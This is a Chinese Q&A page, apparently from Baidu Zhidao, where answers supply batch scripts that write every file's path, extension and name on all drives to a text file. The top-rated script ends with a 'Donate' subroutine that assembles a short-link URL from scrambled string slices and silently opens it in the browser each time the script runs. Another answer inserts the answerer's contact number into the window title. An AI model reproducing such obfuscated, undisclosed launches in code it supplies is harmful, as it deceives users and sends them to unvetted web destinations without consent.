批处理如何将遍历到的磁盘内所有文件的路径、后缀名、文件名(不含后缀名)写入到a.txt中

如C盘内有两个文件:a.txt,b,exe写入到a.txt中a.txt中的内容(我想要输出成这种格式):C:\a.txt.txtaC:\b.exe.exeb-------... 如C盘内有两个文件:a.txt , b,exe
写入到a.txt中
a.txt中的内容(我想要输出成这种格式):
C:\a.txt .txt a
C:\b.exe .exe b

----------------------------------------
遍历所有文件的路径我用的是这种方法:
for /r "C:" %%i in (*.*) do (
set var_2=%%i
echo !var_2!>>a.txt )
------------------------------------------
PS:上面的这个for循环我是把它嵌套在另一个for循环里的,外面的那一层for循环我是用来遍历所有磁盘盘符的。这里为了节省字数我就把盘符假设成了C盘。
------------------------------------------------------------
望大佬们指点这种双层嵌套的情况下如何解决问题!(抱拳)
展开
 我来答
依梦琴瑶
高粉答主

2019-07-29 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部
@echo off & title 列出所有磁盘文件相关信息 By 依梦琴瑶

(for /f "tokens=2 delims==:" %%i in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
pushd "%%~i"
for /f "delims=" %%a in ('dir /a-d/s/b') do (
rem 由于Tab符会被知道服务器强制更改成空格,所以这里我先用空格代替,请复制的过去后自行改成Tab符
echo %%~a %%~xa %%~na
)
popd
))>"%~dp0a.txt"
pause

::友情码
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
更多追问追答
追问
但是假如路径中有空格的话读取这个文本文档中的路径时该怎么解决呢
追答
用英文双引号把路径括起来
qop_dob
2019-07-30 · TA获得超过1.5万个赞
知道大有可为答主
回答量:1.3万
采纳率:79%
帮助的人:4039万
展开全部
@echo off
set @=有问题联系&set #=Q&set/az=0x53b7e0b4
title %@% +%#%%#% %z%
cd /d "%~dp0"
for %%a in (C D E F E G H I J K L M N O P Q R S T U V W X Y Z) do (
    if exist %%a:\ (
        echo;[%%a] searching……
        (for /f "delims=" %%b in ('dir /a-d/b/s %%a:\') do echo;%%b %%~xb %%~nb)>>"结果.txt"
    )
)
echo;%@% +%#%%#% %z%
pause
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
开水瓶里游泳
2019-07-29 · TA获得超过2350个赞
知道小有建树答主
回答量:965
采纳率:62%
帮助的人:215万
展开全部
dir c: *.* >a.txt
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 2条折叠回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式